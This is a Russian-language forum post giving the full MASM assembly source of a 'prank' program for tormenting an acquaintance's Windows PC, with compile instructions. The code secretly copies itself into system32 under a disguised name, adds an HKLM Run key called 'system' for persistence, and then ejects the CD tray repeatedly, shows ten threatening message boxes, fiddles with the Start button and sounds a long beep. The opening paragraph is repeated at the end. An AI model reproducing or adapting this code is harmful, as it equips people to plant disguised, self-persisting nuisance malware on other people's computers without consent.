Я не знаю как оформить это все в статью. Так что просто приведу листинг программы с подробными комментариями. В кратце, программа вызывает всякие глюки  на компе. Подойдет тем кто хочет насолить знакомому. Кол-во глюков вы можете дополнить, так же можете написать конфигуратор, чтобы каждый раз не компилировать заново.
Программа написанна на масме.

----------------------------листинг---------------------------------
;comilling
;ml /c /coff gluk.asm                         ; тут как копилировать.
;link /subsystem:windows gluk.obj
.386
.model flat,stdcall
option casemap:none
include  D:\staff\masm32\include\windows.inc
include D:\staff\masm32\include\winmm.inc
include D:\staff\masm32\include\advapi32.inc
include D:\staff\masm32\include\shell32.inc
include D:\staff\masm32\include\kernel32.inc
include D:\staff\masm32\include\user32.inc
includelib D:\staff\masm32\lib\user32.lib
includelib D:\staff\masm32\lib\kernel32.lib
includelib D:\staff\masm32\lib\shell32.lib
includelib D:\staff\masm32\lib\Advapi32.lib
includelib D:\staff\masm32\lib\winmm.lib

.data
;==========Settings============

;=========Действия=======
pusk db 'p',0                                    ;прячем кнопку пуск
reg  db 'r',0                                      ;прописыватся в реестр
cd_rom db 'c',0                               ;играть с сд-ромом
messg db 'm',0                                ;выдавать сообщение
bep db 'b',0                      ;издавать противный звук встроенным динамиком.
;====================== ;если не хотите чтобы какое нибудь действие выполнялось.
Просто вместо буквы в скобках поставьте 0

;========MessageBox======
mess db 'я знаю что ты сделал прошлым летом',0  ;само сообщение
cap  db 'зоркий глаз следит за тобой',0                    ;заголовок
;========================

;========Registry=============
hkey  dd HKEY_LOCAL_MACHINE
subkey db 'Software\Microsoft\windows\CurrentVersion\Run',0  ;в какую ветку
;реестра прописыватся
key_mod dd KEY_WRITE
reg_name db 'system',0
reg_type dd REG_SZ
path db ' C:\WINDOWS\system32\sysdrv.exe',0
path_reg db 'C:\WINDOWS\system32\sysdrv.exe',0
strng db 'cmd.exe /c copy ',0
;=============================
;========Пуск=============
Class db 'Shell_TrayWnd',0
clButton db 'Button',0
send_message dd WM_SETTEXT
push_text db 'Fuck',0
;==========================

;==========CDROM===========
col db 5                               ;сколько раз выдвигать\задвигать сидиром
cdopen db 'open cdaudio',0
door_open db 'set cdaudio door open',0
door_close db 'set cdaudio door closed',0
cdclose db 'close cdaudio',0
;==========================

;========Settings END============

.data?
path2 dd ?
hKey dd ?
hFileName dd ?

.code
;=======Registry========
register proc
invoke RegOpenKeyEx, hkey, addr subkey, NULL, key_mod, addr hKey
invoke GetModuleHandle,0
invoke GetModuleFileName, eax, addr hFileName, MAX_PATH
invoke lstrcat, addr strng, addr hFileName
invoke lstrcat, addr strng, addr path
invoke WinExec, offset strng, SW_HIDE
invoke RegSetValueEx, hKey, addr reg_name, NULL,reg_type, addr path_reg,MAX_PATH
ret
register endp

;=======Пуск========
pusk_name proc
invoke FindWindow, addr Class, NULL
invoke FindWindowEx, eax, NULL, addr clButton, NULL
cmp eax,0
je _cdrom
invoke ShowWindow, eax, SW_SHOW
;invoke SendMessage, eax, send_message, NULL, addr push_text
ret
pusk_name endp

;============CDROM=========
cdromp proc
push ecx
mov al, byte ptr ds:col
mov ecx, eax
_Loop:
push ecx
invoke mciSendString, addr cdopen, NULL, NULL, NULL
invoke mciSendString, addr door_open, NULL, NULL, NULL
invoke mciSendString, addr door_close, NULL, NULL, NULL
pop ecx
loop _Loop
pop ecx
invoke mciSendString, addr cdclose, NULL, NULL, NULL
ret
cdromp endp
;=========================

;========Beep=======
beep proc
invoke Beep, 0fffh, 10000            ;частота звучания. Поиграйтесь со значением
invoke MessageBeep, MB_ICONASTERISK
ret
beep endp
;===================

;=======Main=============
start:
cmp reg,'r'
jne _pusk
;invoke Sleep, 60000d   ;если хотите чтобы глюки шли не подряд, а
;с задержкой, то раскоментируйте эту строку
call register
_pusk:
cmp pusk, 'p'
jne _cdrom
;invoke Sleep, 60000d
call pusk_name
_cdrom:
cmp cd_rom, 'c'
jne _mess
;invoke Sleep, 60000d
call cdromp
_mess:
cmp messg, 'm'
jne _beep
;invoke Sleep, 60000d
push ecx
mov ecx,10d                      ;тут кол-во сообщение которое будет выведенно
_Loop:
push ecx
invoke MessageBox, NULL, addr mess, addr cap, MB_OK or MB_ICONSTOP
pop ecx
loop _Loop
_beep:
cmp bep, 'b'
jne _end
;invoke Sleep, 60000d
call beep
_end:
invoke ExitProcess,0
end start
;=====================

ну вот и все. Как компилить есть в начале листинга. Приятных заподлостроений.Я не знаю как оформить это все в статью. Так что просто приведу листинг программы с подробными комментариями. В кратце, программа вызывает всякие глюки  на компе. Подойдет тем кто хочет насолить знакомому. Кол-во глюков вы можете дополнить, так же можете написать конфигуратор, чтобы каждый раз не компилировать заново.
Программа написанна на масме.